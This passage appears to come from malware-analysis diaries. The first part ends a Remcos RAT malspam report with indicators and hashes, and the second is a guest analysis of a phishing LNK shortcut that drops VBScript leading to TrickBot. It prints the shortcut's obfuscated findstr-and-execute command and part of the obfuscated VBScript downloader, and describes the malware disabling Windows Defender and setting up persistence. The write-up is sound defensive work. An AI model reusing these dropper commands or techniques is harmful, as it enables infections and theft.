• 209.141.40[.]183 port 2404 - toptoptop3[.]online - attempted TCP connection (caused by Remcos RAT)
• 209.141.40[.]183 port 2404 - toptoptop3[.]site - attempted TCP connection (caused by Remcos RAT)

Associated files:

SHA256 hash: 932505acc15faede0993285532ed6d5afb27ce1c591a0819653ea5813d11cd55

• File size: 37,752 bytes
• File name: Takisha resume.doc
• File description: Password-protected Word doc -- Password: 123

SHA256 hash: fa9a94b32f7fa1e1e3eef63d3fb9003fda8d295e1f1a3e521691725e4c7da9f3

• File size: 1,064,960 bytes
• File location: hxxp://104.244.74[.]243/pine.jpg
• File location: C:\Users\[username]\AppData\Local\Temp\distanc1e.exe
• File description: initial installer EXE for Recmos RAT, retrieved by macro from the above Word doc

SHA256 hash: c866c269cd1617ee739216e24ba7cd1b392684b441bcdf10a6c0fdba073fbc28

• File size: 400,749,569 bytes
• File location: C:\Users\[username]\AppData\Local\Temp\IXP000.TMP\REMCOS~4.EXE (deleted itself)
• File location: C:\Users\[username]\Jos5\FO.exe
• File description: Remcos RAT

Final words

Remcos RAT is not the only malware distributed by this campaign.  In previous months, other families of malware have been seen from this malspam, most recently IcedID (Bokbot).  Detection rates on the attached Word documents are very low, since they are encrypted and use password protection.  However, spam filters and proper system administrative practices like Software Restriction Policies (SRP) or AppLocker will easily prevent these types of infections on Windows-based systems.

Pcap and malware for this diary can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

[This is a guest diary submitted by Jan Kopriva. Jan is working for Alef Nula (http://www.alef.com) and you can follow him on Twitter at @jk0pr]

Recently, I was asked to analyze a phishing e-mail which was sent to one of our customers. The e-mail itself was a run of the mill affair (a variation on the “you have unpaid invoices, click here to download them” theme), but the link it contained pointed to a quite interesting file. The file in question was a ZIP archive containing an unusually large (almost 10 kB) LNK file trying to look like an RTF document. 
 

At the time of the original analysis, both the ZIP and LNK files were detected as malicious by 2/59 AV engines according to VirusTotal, while at the time of writing it was 19/59 for the shortcut file and 18/59 for the archive file.
The target set in the LNK shortcut was:

%comspec% /v:on /c hwqcG & if not exist tPUQl (set "fChXE=inds") & (f!fChXE!tr "LMpJG.*" OutstandingPayment.lnk > "%tmp%\NWrfK.vbs" & "%tmp%\NWrfK.vbs") & qFctA

It contains some elementary obfuscation, which makes it harder to read at first, but if we clean it up, it basically comes down to:

cmd.exe /c findstr "LMpJG.*" OutstandingPayment.lnk > "%tmp%\NWrfK.vbs" & "%tmp%\NWrfK.vbs"

In other words, it will try to find the string “LMpJG” in the LNK file itself, save this string and everything after it in a file named NWrfK.vbs in Temp directory and then execute this file. If we try to look for the string “LMpJG” in our LNK file manually, we will discover why the shortcut file seemed so unusually large – it indeed contains (obfuscated) VBScript code.

Before we take a look at the VBS code itself, we should mention how this is possible. Windows doesn’t care (or rather doesn’t care too much – there are some caveats) if you append arbitrary bytes after the end of an otherwise well-formed LNK file. If you try to execute such a shortcut, the OS simply disregards the extra content. This allows the shortcut file we have here to act as a dropper for a VBS file. Although it is not a new technique – this and other types of malicious LNKs have been used in phishing campaigns for a long time – it isn’t as common as many others, and thus not many are aware of the dangers of malicious LNKs (i.e., if you teach any security awareness courses, mentioning the topic of malicious LNKs when you discuss potentially dangerous e-mail attachments might not be a bad idea).
The VBScript contained within our LNK file looks like this:

LMpJGURpXGYocTvvOhCq = "UULDhIzzHvQYdkTEvAQynUxZYSBcazBoIpRrNUdFZONadEIMDSyYGLBHimkJkDaqfNVMNzdwvREtsAnPLDTXimsqmHdwzZHcStdw" : execute("Set nhkIuUxqIvXRnkkZMhFF = CreateObject(""S""&""cripting.FileSyst""&""emObject"") : IJuHSmVXnBZQPrvVzBLI = ""chr(120-9Afn114-4Afn41-9Afn105-4Afn123-9Afn115-1Afn115-
...[code omitted]…
-7Afn105-4Afn119-3Afn102-1)""") : If  nhkIuUxqIvXRnkkZMhFF.FileExists("OeEgCMUjcEQtYoJaBeaj")=false Then ASdzIQAOucoVcutsePYR = replace(IJuHSmVXnBZQPrvVzBLI, "Afn", ")+chr(") : execute(eval(ASdzIQAOucoVcutsePYR))

Although we could deobfuscate it by hand or using some specialized tools, it is usually easiest to let a code deobfuscate itself and give us its readable version. In this case, it can be as simple as changing the last “execute” to “MsgBox” and running the code.

We may see that the VBScript code tries to access the credits.php page using HTTP GET request and save the response as 5767904_7391395_2818162.exe in the Temp directory. It then tries to run the downloaded EXE file and delete itself. When accessed, credits.php indeed returned (it is no longer operational at the time of writing) a valid executable file named “akz005e6f.exe”, which tried to pass itself as the Active Accessibility Event Hooks Library from Microsoft.

It probably won’t come as a surprise that our executable isn’t one of Windows libraries, but rather something more insidious. In fact, VirusTotal score of the file at the time of writing is 40/69, with multiple AV engines correctly detecting it as a variant of TrickBot.

When executed, our EXE file copies itself into ProgramData under the name “??????????.exe” and then closes the original instance of itself and runs the newly created one. The new instance then tries to turn off Windows Defender by disabling its capabilities through the use of Powershell (which is fairly usual for TrickBot [1]) and stopping and deleting its service.






It then achieves persistence by copying itself into %appdata%\msspeedlib\ directory and creates a scheduled task named “Ms speed internet library,” which starts the newly created instance of the executable at system startup.

It seems that authors of this variant of TrickBot probably felt some special animosity towards Windows Defender at the time when they were creating the code as the original name of the project seems to have been “Stupid Windios Defender.”

After letting the malware run for a while in a sandbox with Wireshark capturing network traffic, couple of things caught my eye (besides the fact that Edge stopped working and that the malware tried to upload information about the compromised system to a remote server). One of them was evidence of an ARP sweep of the local network conducted from the infected machine. TrickBot has a well-known capability to interact with remote systems within local networks; however, I didn’t know it used a sequential ARP sweep to discover these systems.

The other interesting activity was a download of what appeared to be two PNG files (“samerton.png” and “tablone.png”) from a remote HTTP server. As a quick look at their magic bytes (MZ) and the DOS stub shows, the files in question are not pictures but Windows executables. On closer inspection, it becomes obvious that although the files are not completely identical, their differences are only very minor and that both are samples (most likely updated ones) of TrickBot.

Just as our original executable tried to appear as a legitimate Microsoft library, so do these two. The only difference is that in the case of fake PNGs, their authors chose to disguise them as “Print UI Cache” instead of the Active Accessibility Event Hooks Library.

At the time of writing, “tablone.exe” has VirusTotal score of 18/68 and “samerton.exe” score of 17/67.
Although we will stop here, it is interesting to note how far an analysis of a simple LNK file has already taken us – the next chart shows relationships between all the files mentioned in the diary and under it, you may find MD5 hashes of all three TrickBot samples.

•    9F644F47C636C47C8908F9E68FF4AD84 – akz005e6f.exe
•    2F97A820A4AC94D1435417921ED82489 – samerton.exe
•    F94FE1E4DB524EDAD8BE15BE2523BAEF – tablone.exe

[1] https://blog.malwarebytes.com/threat-analysis/malware-threat-analysis/2018/11/whats-new-trickbot-deobfuscating-elements/